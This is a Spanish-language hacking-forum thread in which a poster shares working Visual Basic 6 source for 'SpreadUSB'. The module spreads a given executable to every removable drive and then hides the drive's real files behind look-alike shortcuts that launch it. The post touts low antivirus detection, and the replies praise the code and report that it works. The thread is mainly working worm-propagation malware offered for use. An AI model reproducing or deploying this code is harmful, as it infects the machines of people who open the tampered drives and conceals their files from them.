Página 1 de 1

SpreadUSB [Shortcuts] [VB6]

Publicado: 24 Jun 2013, 01:34
por chequinho
Buenas bros, les dejo un modulo de SpreadUSB que utiliza el método de accesos directos (ya que el autorun.inf es muy detectado).

Necesitan agregar al proyecto la referencia de Microsoft Scripting Runtime (Proyecto > Referencias).

Código: Seleccionar todo

'USO: Call SpreadUSB(sMyPathEx, InfectedName)
    'sMyPathEx: El directorio hacia el ejecutable principal (App.EXEname)
    'InfectedName: El nombre dej ejecutable que será copiado al dispositivo USB (loquesea.exe)

Private Function DetectUSBDrivers() As String
    Dim objDrive As Object
    DetectUSBDrivers = ""
    Const DRIVE_REMOVABLE = 1
    For Each objDrive In CreateObject("Scripting.FileSystemObject").Drives
        If objDrive.IsReady Then
            If objDrive.DriveType = DRIVE_REMOVABLE And objDrive.Path <> "A:" Then
                DetectUSBDrivers = DetectUSBDrivers & objDrive.Path & " <-> "
            End If
        End If
    Next
End Function

Public Sub SpreadUSB(FilePath As String, FileNameDest As String)
    Dim i As Long
    Dim USBDrivers() As String
    USBDrivers = Split(DetectUSBDrivers, " <-> ")
    Dim sFile As String
    For i = 0 To UBound(USBDrivers) - 1
        sFile = Dir(USBDrivers(i) & "\*.*", vbDirectory + vbNormal)
        Call FileCopy(FilePath, USBDrivers(i) & "\" & FileNameDest)
        Call SetAttr(USBDrivers(i) & "\" & FileNameDest, vbHidden + vbReadOnly + vbSystem)
        Do While sFile <> ""
            If sFile <> FileNameDest And ExtStr(sFile, 2, "\") <> ".lnk" Then
                Call CreateShortcut(USBDrivers(i) & "\" & FileNameDest, USBDrivers(i), sFile)
                Call SetAttr(USBDrivers(i) & "\" & sFile, vbHidden + vbReadOnly + vbSystem)
            End If
            sFile = Dir
        Loop
    Next i
End Sub

Public Sub CreateShortcut(FilePath As String, DestPath As String, ShortcutName As String)
    Dim Filesys As New FileSystemObject
    Dim WshShell As Object
    Dim oShellLink As Object
    Set WshShell = CreateObject("WScript.Shell")
    Set oShellLink = WshShell.CreateShortcut(DestPath & "\" & ShortcutName & ".lnk")
    If Filesys.FileExists(oShellLink) Then Exit Sub
    oShellLink.TargetPath = FilePath
    oShellLink.IconLocation = "shell32.dll, 3" 'Puedes cambiar el icono del ejecutable con el ID del recurso en la libreria shell32.dll (o cualquier otro ejecutable)
    oShellLink.WorkingDirectory = FilePath
    oShellLink.Save
    Set oShellLink = Nothing
    Set WshShell = Nothing
End Sub

Function ExtStr(cadena As String, Opt As Long, caracter As String) As String
    Dim FullName As String
    FullName = Mid$(cadena, InStrRev(cadena, caracter) + 1)
    Select Case Opt
        Case 1
            'Nombre
            ExtStr = Mid$(FullName, 1, InStrRev(FullName, ".") - 1)
        Case 2
            'Extension
            ExtStr = "." & Mid$(FullName, InStrRev(FullName, ".") + 1)
        Case 3
            'Nombre + Extension
            ExtStr = FullName
    End Select
End Function
File Info:
File Name: Proyecto1.exe
SHA1: cf191d3de45c06f4b6bf0202b78133444a08504b
MD5: 7a16fd3577d5ae8eaea3c023b49fab02
Date and Time: 23-06-13,04:18:57
Report Generated by [Enlace externo eliminado para invitados]
File Size: 12288 Bytes
Detection: 1 of 35

Detections:
AVG FreeClean
ArcaVirClean
AvastClean
AntiVir (Avira)Clean
BitDefenderClean
VirusBuster Internet SecurityClean
Clam AntivirusClean
COMODO Internet SecurityClean
Dr.WebClean
eTrust-VetClean
F-PROT AntivirusClean
F-Secure Internet SecurityClean
G DataClean
IKARUS SecurityClean
Kaspersky AntivirusClean
McAfeeClean
MS Security EssentialsClean
ESET NOD32Clean
NormanClean
Norton AntivirusClean
Panda SecurityClean
A-SquaredClean
Quick Heal AntivirusSuspicious
Solo AntivirusClean
SophosClean
Trend Micro Internet SecurityClean
VBA32 AntivirusClean
Zoner AntiVirusClean
Ad-AwareClean
BullGuardClean
Immunet AntivirusClean
K7 UltimateClean
NANO AntivirusClean
Panda CommandLineClean
VIPREClean

Eso es todo bros, espero que a alguien le sirva.

Saludos.

Re: SpreadUSB [Shortcuts] [VB6]

Publicado: 24 Jun 2013, 01:50
por Pink
Excelente compa gracias muy útil.


saludos

Re: SpreadUSB [Shortcuts] [VB6]

Publicado: 24 Jun 2013, 01:52
por eDuArDo__xD
Exelente chequinho es el primero que veo en vb6 la mayoria estan en vb.net

Gracias por compartir

Saludos

Re: SpreadUSB [Shortcuts] [VB6]

Publicado: 24 Jun 2013, 03:59
por braaandhon
Estudiare como agregarlo gracias chequinho

Re: SpreadUSB [Shortcuts] [VB6]

Publicado: 24 Jun 2013, 06:09
por Nemesis
Gracias por el code chequinho,de vb6 a Vb Net esta facil.
Salu2

Re: SpreadUSB [Shortcuts] [VB6]

Publicado: 06 Jul 2013, 15:19
por Slore
Muy util amigo :D sigue asi

Snippet Actualizado

Publicado: 07 Jul 2013, 00:53
por chequinho
Actualización:

Mostrar/Ocultar

Mostrar/Ocultar

Saludos, haber si un mod lo pone en el hilo principal xd

Re: SpreadUSB [Shortcuts] [VB6]

Publicado: 07 Jul 2013, 11:31
por Himanen
te a quedado de lujo la update chequinho.. funciona al pelo gracias!

Re: SpreadUSB [Shortcuts] [VB6]

Publicado: 07 Jul 2013, 11:58
por SuC
Muy bueno compañero

Ya mismo saldrán por ahí tools de pago usando este módulo ..

Re: SpreadUSB [Shortcuts] [VB6]

Publicado: 07 Jul 2013, 16:03
por Slore
Muy bueno y lo que dice suc es vdd... pero excelente amigo :D

Re: SpreadUSB [Shortcuts] [VB6]

Publicado: 02 Ago 2013, 18:55
por Leizerbick
Veremos como lo afinamos, gracias por tu tiempo compañero.

Re: SpreadUSB [Shortcuts] [VB6]

Publicado: 04 Ago 2013, 15:48
por Lucho
Muy bueno chequinho lo voy a probar. Saludos.

Re: SpreadUSB [Shortcuts] [VB6]

Publicado: 04 Ago 2013, 17:21
por xxxPoseidonxxx
Funciona muy bién, yo lo e probado y anda de maravilla!

Re: SpreadUSB [Shortcuts] [VB6]

Publicado: 25 Mar 2015, 04:11
por die595tack067
que buen aporte Bro. Excelente

saludos *-*

Re: SpreadUSB [Shortcuts] [VB6]

Publicado: 25 Mar 2015, 06:39
por _ROOTt_
Gracias por compartir